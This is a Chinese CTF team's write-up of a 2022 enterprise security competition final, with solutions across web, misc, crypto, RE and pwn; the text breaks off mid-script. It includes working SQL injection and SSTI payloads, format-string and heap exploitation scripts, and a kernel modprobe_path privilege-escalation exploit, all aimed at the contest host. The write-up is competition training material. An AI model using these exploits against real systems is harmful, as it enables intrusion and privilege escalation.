本周三(2022/6/8)我们队伍(中国矿业大学 02 队)代表中国矿业大学参加了 2021一带一路暨金砖大赛之企业信息系统安全赛项
的决赛,也顺利地以 1700/2000 分拿到了 CTF 的第一名。
比赛中我们一同解出了 Crypto,Re,Pwn 方向的所有赛题,赛后认真对解题思路做了整理,对剩余未解出的少部分赛题也做了复现总结:
# Web
感觉题目都是常见的简单知识点,没什么太难的地方,唯一的难点就是有点谜语人,一堆登录框,没任何提示,就是要一顿乱莽
# web1
一个界面就一直点气球,游戏结束也没见往外发包,就直接看 js 文件,找到存放 flag 的 php
访问 flag.php 会跳转到 404,F12 监控一下流量就行
flag:88E3773E766EE1FFD98F3FEBE7D876DB
# web2
SQL 注入,过滤空格和 for,union, ,
,for, 空格,* 等关键字,最关键的是查表,information 没法用了,找个替代表即可
最后构建出合适的 payload 语句进行时间盲注
1'^(select(sleep(1))from(mysql.user)where((select({columns})from({table})where({limit}))<'xxx'))^' |
写个脚本获得密码
import requests | |
import requests | |
import time | |
def getDatabase(flag=""): # 获取数据库名 | |
global baseurl,sql | |
flag="" | |
for i in range(1, 1000): | |
low = 32 | |
high = 128 | |
mid = (low + high) // 2 | |
while low < high: | |
print(mid,chr(mid)) | |
usesql="1'^(select(sleep(1))from(mysql.user)where(%s))^'"%sql.\ | |
replace("flag",flag+chr(mid)) | |
# print(usesql) | |
start_time=time.time() | |
res = requests.post( | |
baseurl +"login.php", | |
data={"uname":usesql, | |
"passwd":"1" | |
} | |
) | |
use_time=time.time()-start_time | |
# print(use_time) | |
if use_time > 1: | |
high = mid | |
else: | |
low = mid + 1 | |
mid = (low + high) // 2 | |
if mid <= 32 or mid >= 127: | |
break | |
flag += chr(mid - 1) | |
print(i,"flag is -> " + flag) | |
columns="group_concat(passwd)" | |
# 从 sys.schema_index_statistics 得到表名 | |
table="testx.admin" | |
limit="'U'<'z'" | |
sql=f"(select({columns})from({table})where({limit}))<'flag'" | |
baseurl="http://101.133.134.12:8002/" | |
getDatabase("") | |
#f9b46e5b6dc40d49fef9c5f287d177ad |
获得密码的 md5 值,到 md5 解密网站可知时 5555666
直接登录 admin:5555666
获得 flag
flag
# web3(未解出)
谜语了可以说是,弄了半天坐大牢不知道干什么,赛后看师傅们说还是 SQL,蚌埠住了,万万没想到会出两道 SQL
# web4
扫一下可以看到源码备份的 index.php.bak, 得到下面源码
<?php | |
header("Content-type:text/html;charset=utf-8"); | |
error_reporting(0); | |
$key='flag{xxx}'; | |
if (isset($_GET['name']) and isset($_GET['pwd'])) { | |
if ($_GET['name'] == $_GET['pwd']){ | |
echo '<p>姓名与密码不能一致!</p>'; | |
}elseif(is_numeric($_GET['pwd'])){ | |
die('密码不能是纯数字'); | |
}elseif (md5($_GET['name']) == md5($_GET['pwd'])){ | |
die($key);} | |
else{ | |
echo '<p>无效密码</p>';} | |
} | |
else{ | |
echo '<p>首次登陆!</p>'; | |
} | |
?> |
需要账号密码的值不能相等,也不能为纯数字,但是最后 md5 值相等
经典的 md5 绕过问题,这个可以用 md5 强碰撞也可以用数组使得 md5 函数出错返回 False
这里我选择直接用数组绕过使得 md5 函数出错返回 False 即可绕过获取 flag
?name[]=1&pwd[]=1
得到 flag:
FDA095FC516DA9AE2A15AB135BFF8C80
# web5
控制面板显示是个 tabib 框架,但是上网找相关漏洞没有任何发现,网站的页面到处点也没发现可利用点,文件上传和新建数据什么的实际上不会发包执行,但是在日历版块有异常,访问会返回下面这句话但是
猜测问题是出在这里,但是不知道漏洞点在哪里,最后开了个扫描发现一个 console 接口,进去发现是一个 Flask 后台,想到计算 Pin 码但是并不可行,最后发现在日历接口有 SSTI, 使用 SSTI 获取 /flag
通过内置模块获取 open 函数打开 /flag 并通过 read 得到文件内容
{ {''.__class__.__mro__[-1].__subclasses__()[64].__init__.__globals__.__builtins__.open('/flag','r').read() } }
变化一下就是
http://101.133.134.12:8005/{{''[request.values.c][request.values.m][-1][request.values.s]()[64][request.values.i][request.values.g][request.values.b][request.values.o](request.values.file,'r')[request.values.r]() }}&c=__class__&m=__mro__&s=__subclasses__&i=__init__&g=__globals__&b=__builtins__&o=open&r=read&file=/flag
# web6
再次陷入谜语人状态,这个最后还是没出来,不过水群看到说是摁爆破 (原本想过爆破的,不过前两天刚把垃圾字典删了就没爆...),最后 password 和 hash 为 admin@123 的对应值的时候就会得到存 flag 的文件 gettf1ag.php, 访问就有 flag
# Misc
# misc1
给的文件后缀名是 .bat,010 打开发现,实际上应该是个 ppt(有很明显的 PowerPoint 字符),
更改后缀名为 ppt 之后,wps 打开,发现需要密码。
在用 notepad 查看的时候,翻阅过程中突然看到提示:密码为 4 位纯数字
使用脚本生成字典后直接爆破:
# 字典生成 | |
import itertools as its | |
words = "1234568790" | |
r =its.product(words,repeat=4) | |
dic = open("pass1.txt","a") | |
for i in r: | |
dic.write("".join(i)) | |
dic.write("".join("\n")) | |
dic.close() |
# 爆破 | |
import os | |
import sys | |
import win32com.client | |
import pywintypes | |
passw=[] | |
dic = open("pass1.txt","r") | |
data=dic.readline().strip('\n'); | |
while data: | |
passw.append(data); | |
data=dic.readline().strip('\n'); | |
dic.close(); | |
wps1=win32com.client.Dispatch('Kwps.application') | |
wps1.Visible=True | |
wps1.DisplayAlerts = 0 | |
for i in passw: | |
try: | |
d=wps1.Documents.Open(r'C:\Users\Sycamore\Desktop\CTF\flag去哪了.ppt',PasswordDocument=i); | |
except pywintypes.com_error: | |
print(i) | |
continue | |
print("succcccceesss"+i) | |
break; |
# misc2
binwalk 分离,得到了很多文件,依次打开,查看文件内容,
其中一个文件:3BD12,
打开后获得一串 base64:
两次 base64 解码后,就能得到 flag
# misc3
打开听了一下,感觉像 SSTV(今年 Misc 考这个的还真不少...),
安卓端使用 robot36 解码,
获得图片如下:
# misc4
010 打开后文件末尾看到提示为:lsb
stegsolve 打开后查看通道,发现 R G B 的 0 通道都有异常,
提取数据得到一张 jfif 图片如下,
010 打开新图片,发现文件中间的 base64,解码得到 flag
# CRYPTO
# Crypto1
观察其结构为 base 系列加密
base64 解密后得到密文 K5WTCNDBIZXXUZCHGFHWC22VO5LVO4CDMFCTCNSVKRHGCUSHJV5FI22SJNQUM4CIKJKFET2SGFVXUV2WMRHGKVTMLBJVIQSOMFVVK6CUGBTXOUCRHU6Q====,base64 最多有两个 = 号并且其全为大写,故是 base32 编码,之后又经过两层 base64 解码。
import base64 | |
c='SzVXVENOREJJWlhYVVpDSEdGSFdDMjJWTzVMVk80Q0RNRkNUQ05TVktSSEdDVVNISlY1RkkyMlNKTlFVTTRDSUtKS0ZFVDJTR0ZWWFVWMldNUkhHS1ZUTUxCSlZJUVNPTUZWVks2Q1VHQlRYT1VDUkhVNlE9PT09' | |
print(base64.b64decode(c)) | |
c1='K5WTCNDBIZXXUZCHGFHWC22VO5LVO4CDMFCTCNSVKRHGCUSHJV5FI22SJNQUM4CIKJKFET2SGFVXUV2WMRHGKVTMLBJVIQSOMFVVK6CUGBTXOUCRHU6Q====' | |
print(base64.b32decode(c1)) | |
c2='Wm14aFozdG1OakUwWWpCaE16UTNaRGMzTkRKaFpHRTROR1kzWVdNeVlXSTBNakUxT0gwPQ==' | |
print(base64.b64decode(c2)) | |
c3='ZmxhZ3tmNjE0YjBhMzQ3ZDc3NDJhZGE4NGY3YWMyYWI0MjE1OH0=' | |
print(base64.b64decode(c3)) | |
#flag{f614b0a347d7742ada84f7ac2ab42158} |
# Crypto2
首先题目提示凯撒加密,但是其中有 +、(、? 等特殊字符,尝试 26 以内的偏移,或和 flag {和 Zmxh (flag 的 base64 编码) 算移位没有发现规律。
尝试在 0-128 内唯一,打印其中可显示的明文字符串。
s=b'Nd(+X=fqZqEEM<bpKegNYMg?NdkEDcAkKLIaEL(LHdcFM\'c*Nc[QEMchP*gFM=c-NM^n' | |
for i in range(128): | |
m=[] | |
for j in range(len(s)): | |
m.append((s[j]-i)%128) | |
print('shfit: %d'%i,bytes(m).decode()) |
打印结果如下
在 shfit 的偏移为 119 时发现一个可疑的明文信息,尝试 base64 解密。
发现两次解密后即为 flag,完整代码如下。
import base64 | |
s=b'Nd(+X=fqZqEEM<bpKegNYMg?NdkEDcAkKLIaEL(LHdcFM\'c*Nc[QEMchP*gFM=c-NM^n' | |
""" | |
for i in range(128): | |
m=[] | |
for j in range(len(s)): | |
m.append((s[j]-i)%128) | |
print('shfit: %d'%i,bytes(m).decode()) | |
""" | |
print(base64.b64decode('Wm14aFozczNNVEkyTnpWbVpHWmtNMlJtTURjNU1UQmlOV0l3WldZNVlqY3pOVFl6WVgw')) | |
print(base64.b64decode('ZmxhZ3s3MTI2NzVmZGZkM2RmMDc5MTBiNWIwZWY5YjczNTYzYX0=')) | |
m='flag{712675fdfd3df07910b5b0ef9b73563a}' |
# Crypto3
RSA 公钥加密,题目附件中包括 c、n、e,但是 e 比较小且是偶数,故考察方向为 e 和 phin 不互素,尝试用 yafu 分解 n。
等待一段时间后 n 被成功分解,如下图。
得到 p 和 q 后就可以求私钥,但是 (e,phi)=4, 故无逆元,那么根据 m^e mod n 可以变为 (m4)(e/4) 这样 e/4 和 phi 便互素,但是这样 c^d mod n 后得到的为 m^4 mod n,直接用 iroot 尝试开 4 次方,最后转为字符即发现 flag。
import gmpy2 | |
from Crypto.Util.number import * | |
n = 22418636922065508104264650472638100390507346675022700253583060418349386472260539292033574216754214047540225287240029292436219548116787251605020424767984000804727346173028308816952737183433110999995264950414364145519999339949396799207404153148796900954086093431917244453864253649011176295266497073733547832171165497506613139960587280135867463235266546869960044777350378595302570142110464582590415694749192915651700844268466357439219626769665355230647219887042871785185100743750953935872489085346311527806979246650668966304323450610041756764667276881295676841136337294903126776228640645138477063815764467811948872156311 | |
e = 180 | |
c = 17971123746814947059314270113966290245749007752378241906733564181493060407114219968936077930494933520528427074831694818994710527963410153282657079091353179846750982127804195747725871635911272654572811618799762595633801414107052800867035212498914627567940429340162711284873714117628807667324064684965941290688518710890089086623981356782977499005308798890348799101436318386502089586589964942282091818134339082321114129830959264557408611168516265190076744300272908807347811446203373025446057616713876047942653095947804696077860211107853183353180163392501353685418796451123620066941329424857070023018877454625734091037559 | |
p=149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259583527 | |
q=149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259582993 | |
phi=(p-1)*(q-1) | |
e=e//gmpy2.gcd(e,phi) | |
d=gmpy2.invert(e,phi) | |
m4=pow(c,d,n) | |
print(long_to_bytes(gmpy2.iroot(m4,4)[0])) | |
#flag{09dfc77eaebb50f136fc184533b9d556} |
# Crypto4
拿到附件发现是自己实现的 ADFGVX 加密,key 已知是 ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8,但是 keyword 未知。
def getKeyword(x): | |
key = ''.join([choice('abcdefghijklmnopqrstuvwxyz') for i in range(x)]) | |
for i in key: | |
if key.count(i)!=1: #只有一种 | |
return getKeyword(x) | |
return key | |
keyword = getKeyword(7) |
根据关键字的生成算法可知是在字母表中选取 7 个不同的字符,如果要爆破则有 26*25*24*23*22*21*20=3315312000 组合,在比赛时间内应该不行,故要根据 ADFGVX 原理来解决该题。
百度得知加密步骤如下。
上图是 5X5 的 ADFGX 而本题是 ADFGVX 是前者的进阶版本,所以 key 是 6x6 的矩阵,并且置换之后通过 key 来进行移位加密。
得知原理后继续看脚本
def encipher_char(self, ch, size=6, chars='ADFGVX'): | |
row = (int)(self.key.index(ch)/size) #第几行 | |
col = (self.key.index(ch) % size) #第几列 | |
return chars[row] + chars[col] #行列替换 |
所以我们打印出表格如下
k='ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8' | |
for i in range(0,len(k),6): | |
for j in range(6): | |
print(k[i+j].upper(),end=' ') | |
print() | |
""" | |
A D F G V X | |
A P H 0 Q G 6 | |
D 4 M E A 1 Y | |
F L 2 N O F D | |
G X K R 3 C V | |
V S 5 Z W 7 B | |
X J 9 U T I 8 | |
""" |
但是直接解密是错的的并没有体现到 key 的作用,观察源码,发现 key 有处理。
step1 = self.encipher_string(string) #简单置换后的结果 | |
step2 = self.encipher_sortind(step1) | |
def sortind(word): #返回 key 字母在排序后的字母中的位置 | |
t1 = [(word[i], i) for i in range(len(word))] | |
t2 = [(k[1], i) for i, k in enumerate(sorted(t1))] | |
return [q[1] for q in sorted(t2)] | |
def encipher_sortind(self,string): | |
string = self.remove_punctuation(string) | |
ret = '' | |
ind = self.sortind(self.keyword) | |
for i in range(len(self.keyword)): | |
ret += string[ind.index(i)::len(self.keyword)] #取出某一列拼出来 | |
return ret |
可以手动测试
这样的话这个 ind 可以被爆破,因为 keyword 长度为 7 那么 ind 的排序为 7*6*5*4*3*2 = 5040 种可能,并且其中移位置换后解密不能出现数字或相同字母,爆破即可,解密脚本如下。
from pycipher import ADFGVX | |
from itertools import permutations | |
def decipher_pair(pair, key='ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8', size=6, chars='ADFGVX'): #反求 key | |
row = chars.index(pair[0]) | |
col = chars.index(pair[1]) | |
return key[row * size + col] | |
def decipher_str(string): | |
ret = '' | |
for i in range(0, len(string), 2): | |
ret += decipher_pair(string[i:i + 2]) | |
return ret | |
def check(s): #优化爆破 即解密的 key 要在小写字母表内 且 无数字 | |
num_lst = ['AF', 'AX', 'DA', 'DV', 'FD', 'GG', 'VD', 'VV', 'XD', 'XX'] #剔除数字 | |
all = [] | |
for i in range(7): | |
t = s[i * 2] + s[i * 2 + 1] | |
if (t in num_lst): | |
return False | |
if (t in all): | |
return False | |
all.append(t) | |
return True | |
kenc = 'XAGDFGVGXXXGAX' | |
flag = 'DXVGGVGGVGVFXAFVFXFFXFVFFFVFDVVGADGVAVGDAAVXGDGXGXDFVFDAVADAXAAFFVFXXGVX' | |
r1 = [kenc[i] for i in range(0, len(kenc), 2)] #明文中第一行 | |
r2 = [kenc[i] for i in range(1, len(kenc), 2)] #明文中第二行 | |
all_list = list(permutations([0, 1, 2, 3, 4, 5, 6], 7)) #暴力枚举所有状态 | |
for it in all_list: | |
c = [r1[i] for i in it] + [r2[i] for i in it] #连续两个为 r1 和 r2 行中的元素 且置换回去 | |
d = ''.join(c) | |
if check(c): | |
kd = decipher_str(d) | |
enc = ADFGVX('ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8', kd) | |
ed = enc.encipher(kd) | |
if ed == kenc: | |
print(kd,it) | |
print(enc.decipher(flag).lower()) | |
#flag{fb0dd5203c02cf7c60dc99330b5bfa66} |
ADFGVX 参考链接: https://blog.csdn.net/euzen/article/details/119085350
# RE
# RE1
GO 语言逆向题,flag 直接和输入比对,可以在 main_mian 函数的窗口看到 flag,或 string+F12 搜索 flag 即可。
flag
# RE2
首先 shfit+F12 在 strings 窗口看到有关 flag 的明文字符,交叉引用定位 check 函数。
可见被去了符号,可以根据明文信息判断 printf 等系统函数或者结合 IDA 自带的 Lumina 恢复符号 (不过效果不是很明显)。
根据反编译代码结构大致猜测是对输入明文进行了异或处理 (或其他更多操作),可以结合调试来判断,构造输入为 flag {aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}。
V5 首先指向输入附近,继续单步发现 v9 指向输入字符串的首部指针,V10 指向尾部指针。
之后通过首位指针来让整个字符串异或 7,并保存 v6 的结构体内 (v6 应该是个结构体,其地址处的第二个指针指向加密后的结果)。最终将加密结果与 & unk_7FF6EFEE78D0 指向的结构体中的密文比对。
密文在其指向地址的第二个指针。
综上,提取出密文异或即可。
s=[0x61, 0x6B, 0x66, 0x60, 0x7C, 0x31, 0x3F, 0x37, 0x37, 0x65, 0x35, 0x66, 0x31, 0x3F, 0x36, 0x64, 0x3E, 0x3E, 0x62, 0x65, 0x33, 0x36, 0x30, 0x3F, 0x37, 0x65, 0x30, 0x65, 0x35, 0x3E, 0x33, 0x66, 0x64, 0x32, 0x36, 0x34, 0x3E, 0x7A] | |
for i in range(len(s)): | |
s[i]^=7 | |
print(bytes(s)) | |
#flag{6800b2a681c99eb41780b7b294ac5139} |
# RE3
拖入 IDA,观察 main 函数逻辑。
首先是输入 32 位数据存入 buffer,之后无论如何都会进入 LABLE_5 并且将输入 2 个一组作为 16 进制数据存入 v21,并且计算出总字节数的长度 len,对 len 进行 >>3,也就是 8 个一组。
之后 8 个一组内进行上述加密,根据其结构可以判断出是魔改的 Tea 加密,还原算法如下。
根据补码运算 v12-0x61c88647 可以看成 v12+0x100000000-0x61c88647 等价于 v12 + 0x9e3779b9。
void Tea_Encrypt(ut32* src, ut32* k) { | |
ut32 sum = 0; | |
ut32 v0 = src[0]; | |
ut32 v1 = src[1]; | |
for (int i = 0; i < 0x20; i++) { | |
sum += 0x9e3779b9; | |
v0 += ((v1 << 3) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); | |
v1 += ((v0 << 3) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); | |
} | |
src[0] = v0; | |
src[1] = v1; | |
} |
魔改点再模数 v1 和 v0 左移三位,并且 key 是 {18,52,86,120},结合上述条件写出求逆脚本。
#include<iostream> | |
#define ut32 unsigned int | |
#define delta 0x9E3779B9 | |
void Tea_Decrypt(ut32* enc, ut32* k) { | |
ut32 sum = delta * 0x20; | |
ut32 v0 = enc[0]; | |
ut32 v1 = enc[1]; | |
for (int i = 0; i < 0x20; i++) { | |
v1 -= ((v0 << 3) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); | |
v0 -= ((v1 << 3) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); | |
sum -= delta; | |
} | |
enc[0] = v0; | |
enc[1] = v1; | |
} | |
int main() { | |
ut32 m[4] = { 0x6278CC2F,0x65FE5089 ,0x2B581C7C,0x4E60BA90 }; | |
ut32 k[4] = { 18,52,86,120 }; | |
for (int i = 0; i < 4; i += 2) { | |
Tea_Decrypt(m+i, k); | |
} | |
for (int i = 0; i < 16; i++) { | |
printf("%02x", *((unsigned char*)m + i)); | |
} | |
//flag{35f0be164cf02aa7c59ca09de5d7bb78} | |
return 0; | |
} |
# PWN
# pmagic
以下是俩个格式化字符串漏洞的位置。
第一次运行:
- 利用格式化字符串 leak 出 libc 基址。
- 利用格式化字符串漏洞同时覆写 printf 的 got 表为 system,同时覆写 _fini_array 为 0x400640 使再次运行。本题有个更简便的方法就是覆写 exit 的 hook 为 one_gadget,大家也可以尝试。
第二次运行:
- 由于只能读入五个字符,直接
cat *
拿 flag。
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -* | |
import re | |
import os | |
from pwn import * | |
from LibcSearcher import * | |
se = lambda data :p.send(data) | |
sa = lambda delim,data :p.sendafter(delim, data) | |
sl = lambda data :p.sendline(data) | |
sla = lambda delim,data :p.sendlineafter(delim, data) | |
sea = lambda delim,data :p.sendafter(delim, data) | |
rc = lambda numb=4096 :p.recv(numb) | |
ru = lambda delims, drop=True :p.recvuntil(delims, drop) | |
uu32 = lambda data :u32(data.ljust(4, '\0')) | |
uu64 = lambda data :u64(data.ljust(8, '\0')) | |
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data) | |
def debug(breakpoint=''): | |
glibc_dir = '~/Exps/Glibc/glibc-2.27/' | |
gdbscript = 'directory %smalloc/\n' % glibc_dir | |
gdbscript += 'directory %sstdio-common/\n' % glibc_dir | |
gdbscript += 'directory %sstdlib/\n' % glibc_dir | |
gdbscript += 'directory %slibio/\n' % glibc_dir | |
elf_base = int(os.popen('pmap {}| awk \x27{ {print \x241} }\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0 | |
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint | |
gdb.attach(p, gdbscript) | |
time.sleep(1) | |
elf = ELF('./pmagic') | |
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62']) | |
p = process('./pmagic') | |
# debug() | |
p = remote('101.133.134.12',10000) | |
sea('Give me your name.\n','%15$p') | |
libc_leak = int(rc(14),16) | |
libc_base = libc_leak - 0x5f1718 | |
lg('libc_leak',libc_leak) | |
lg('libc_base',libc_base) | |
#libc = ELF('./libc.so.6') | |
libc = elf.libc | |
libc.address = libc_base | |
system_addr = libc.sym.system | |
bin_sh = libc.search('/bin/sh').next() | |
og = ''' | |
❯ one_gadget libc-2.23.so -l2 | |
0x45216 execve("/bin/sh", rsp+0x30, environ) | |
constraints: | |
rax == NULL | |
0x4526a execve("/bin/sh", rsp+0x30, environ) | |
constraints: | |
[rsp+0x30] == NULL | |
0xcd0f3 execve("/bin/sh", rcx, r12) | |
constraints: | |
[rcx] == NULL || rcx == NULL | |
[r12] == NULL || r12 == NULL | |
0xcd1c8 execve("/bin/sh", rax, r12) | |
constraints: | |
[rax] == NULL || rax == NULL | |
[r12] == NULL || r12 == NULL | |
0xf02a4 execve("/bin/sh", rsp+0x50, environ) | |
constraints: | |
[rsp+0x50] == NULL | |
0xf02b0 execve("/bin/sh", rsi, [rax]) | |
constraints: | |
[rsi] == NULL || rsi == NULL | |
[[rax]] == NULL || [rax] == NULL | |
0xf1147 execve("/bin/sh", rsp+0x70, environ) | |
constraints: | |
[rsp+0x70] == NULL | |
0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8]) | |
constraints: | |
[rcx] == NULL || rcx == NULL | |
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL | |
''' | |
ones = [libc_base + int(i,16) for i in re.findall(r'\n(.+?) execve',og)] | |
# sl((fmtstr_payload(8,{(elf.got['printf']):system_addr,(0x600A78):0x400640})).ljust(0x100,'\0')) | |
sea('Say something.\n',(fmtstr_payload(8,{(elf.got['printf']):system_addr,(0x600A78):0x400640})).ljust(0x100,'\0')) | |
# flag{9cc94030040c64f2122706df577d15ee} | |
p.interactive() |
# orw_h2
libc 2.31 下的经典菜单堆题。
漏洞很简单,free 掉堆块的时候没有清空指针,是一个很直接的 UAF:
思路:
- 基本堆布局,利用 Largebin 残留指针 leak 出 libc 基址和堆基址。
- 利用 Tcache Poisoning 构造一次任意分配堆块到 __free_hook 写
rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20]
这个 gadget 的地址。 - 利用写入的 gadget 配合 setcontext 构造栈迁移,改堆块为 rwx 权限,读入 shellcode 执行 shellcode 拿 flag。或者非常确定 flag 的文件名和路径的情况下,拿 orw 链子直接读 flag 也是可以的。
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -* | |
import re | |
import os | |
from pwn import * | |
from LibcSearcher import * | |
se = lambda data :p.send(data) | |
sa = lambda delim,data :p.sendafter(delim, data) | |
sl = lambda data :p.sendline(data) | |
sla = lambda delim,data :p.sendlineafter(delim, data) | |
sea = lambda delim,data :p.sendafter(delim, data) | |
rc = lambda numb=4096 :p.recv(numb) | |
ru = lambda delims, drop=True :p.recvuntil(delims, drop) | |
uu32 = lambda data :u32(data.ljust(4, '\0')) | |
uu64 = lambda data :u64(data.ljust(8, '\0')) | |
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data) | |
def debug(breakpoint=''): | |
glibc_dir = '~/Exps/Glibc/glibc-2.27/' | |
gdbscript = 'directory %smalloc/\n' % glibc_dir | |
gdbscript += 'directory %sstdio-common/\n' % glibc_dir | |
gdbscript += 'directory %sstdlib/\n' % glibc_dir | |
gdbscript += 'directory %slibio/\n' % glibc_dir | |
elf_base = int(os.popen('pmap {}| awk \x27{ {print \x241} }\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0 | |
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint | |
gdb.attach(p, gdbscript) | |
time.sleep(1) | |
elf = ELF('./orw_h2') | |
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62']) | |
# p = process('./orw_h2') | |
# debug() | |
p = remote('101.133.134.12',10001) | |
def menu(choice): | |
sla('>> ',str(choice)) | |
def add(size,data='u'): | |
menu(1) | |
sla('Length of game description:',str(size)) | |
sea('Game description:',str(data)) | |
def dele(id): | |
menu(2) | |
sla('game index: ',str(id)) | |
def edit(id,data): | |
menu(3) | |
sla('game index: ',str(id)) | |
sea('Edit Game description:',str(data)) | |
def show(id): | |
menu(4) | |
sla('game index: ',str(id)) | |
add(0x420) # 0 | |
add(0x20) # 1 | |
dele(0) | |
show(0) | |
libc_leak = uu64(ru('\n')[-6:]) | |
libc_base = libc_leak - 0x1ecbe0 | |
lg('libc_leak',libc_leak) | |
lg('libc_base',libc_base) | |
#libc = ELF('./libc.so.6') | |
libc = elf.libc | |
libc.address = libc_base | |
system_addr = libc.sym.system | |
bin_sh = libc.search('/bin/sh').next() | |
magic = libc_base + 0x1518b0 # mov rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20] | |
rdi = libc_base + 0x0000000000023b72 | |
rsi = libc_base + 0x000000000002604f | |
rdx_r12 = libc_base + 0x0000000000119241 | |
ret = libc_base + 0x0000000000022679 | |
rax = libc_base + 0x0000000000047400 | |
jmp_rsi = libc_base + 0x000000000010d60d | |
read_addr = libc.sym.read | |
''' | |
0x0000000000047400 : pop rax ; ret | |
0x0000000000023b72 : pop rdi ; ret | |
0x0000000000119241 : pop rdx ; pop r12 ; ret | |
0x000000000015f7e6 : pop rdx ; pop rbx ; ret | |
0x00000000001025ad : pop rdx ; pop rcx ; pop rbx ; ret | |
0x0000000000024920 : pop rsi ; pop r15 ; pop rbp ; ret | |
0x0000000000023b70 : pop rsi ; pop r15 ; ret | |
0x000000000002604f : pop rsi ; ret | |
0x0000000000133fe6 : pop rsi ; ret 0xb | |
0x000000000002491c : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret | |
0x0000000000023b6c : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret | |
0x000000000002604b : pop rsp ; pop r13 ; pop r14 ; ret | |
0x00000000000ef1c5 : pop rsp ; pop r13 ; pop r15 ; ret | |
0x00000000000460a5 : pop rsp ; pop r13 ; pop rbp ; ret | |
0x0000000000025bcc : pop rsp ; pop r13 ; ret | |
0x000000000008e261 : pop rsp ; pop r14 ; ret | |
0x000000000012cfae : pop rsp ; pop rbp ; ret | |
0x000000000002f73a : pop rsp ; ret | |
0x0000000000099050 : pop rsp ; ret 0xffff | |
0x0000000000022679 : ret | |
''' | |
# orw = flat([ | |
# rax,2,rdi,heap_base+0x290+0x10,rsi,0,syscall_ret,rdi,3,rdx_r12,0x100,0,rsi,heap_base+0x290+0x20,read_addr,rdi,1,write_addr | |
# ]) | |
add(0x430) # 2 | |
edit(0,'u'*0x10) | |
show(0) | |
ru('u'*0x10) | |
heap_leak = uu64(rc(6)) | |
heap_base = heap_leak - 0x290 | |
lg('heap_leak',heap_leak) | |
lg('heap_base',heap_base) | |
mmp = flat([ | |
rdi,((heap_base + 0xD00)>>12)<<12,rsi,0x2000,rdx_r12,7,0,libc.sym.mprotect,rdi,0,rsi,heap_base + 0xD00,rdx_r12,0x1000,0,read_addr,jmp_rsi | |
]) | |
edit(0,p64(libc_base+0x1ecfd0)*2) | |
add(0x420) # 3 0 | |
add(0x20) # 4 | |
dele(1) | |
dele(4) | |
edit(4,p64(libc.sym.__free_hook)) | |
add(0x20) # 5 | |
add(0x20,p64(magic)) # 6 | |
fuck = SigreturnFrame() | |
fuck.rsp = heap_base + 0x700 | |
fuck.rip = ret | |
edit(0,p64(0) + p64(heap_base + 0x290+0x10) + p64(0)*2 + p64(libc.sym.setcontext+61)+str(fuck)[0x28:])# mov rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20] | |
edit(2,mmp) | |
dele(0) | |
sl(asm(shellcraft.cat('/flag'))) | |
p.interactive() |
# Kernel
简单的 kernel 题,给了任意地址写。
那么劫持 modprobe_path 为我们自己的恶意 sh 文件路径,复制文件更改权限,就可以读 flag。
用来读 flag 的 exp 源码:
exp.c
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <sys/types.h> | |
size_t path = 0xffffffff81e48240; | |
int main(int argc, char ** argv) | |
{ | |
int fd1 = open("/dev/chardev0", 2); | |
if(fd1 <0) | |
{ | |
printf("\033[31m\033[1m[x] Failed to open the babydev1!\033[0m\n"); | |
exit(-1); | |
} | |
// ffffffff81e48240 D modprobe_path | |
// ffffffffc0000000 t chardev_ioctl [www] | |
// 0xffffffffc000001e | |
size_t ar[2] = {path,0x612f706d742f}; | |
ioctl(fd1,0x80084700,ar); | |
system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a"); | |
system("chmod +x /tmp/a"); | |
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/uuu"); | |
system("chmod +x /tmp/uuu"); | |
system("/tmp/uuu"); | |
system("cat /tmp/flag"); | |
} |
编译脚本:
musl-gcc exp.c -static -O2 -o exp # 这里用了 musl 编译缩小 exp 大小 | |
strip exp |
用来上传 exp 的脚本:
from pwn import * | |
import time, os | |
context.log_level = "debug" | |
p = remote('101.133.134.12',10002) | |
os.system("tar -czvf exp.tar.gz ./exp") | |
os.system("base64 exp.tar.gz > b64_exp") | |
f = open("./b64_exp", "r") | |
p.sendline() | |
p.recvuntil("/ $") | |
p.sendline("echo '' > b64_exp;") | |
count = 1 | |
while True: | |
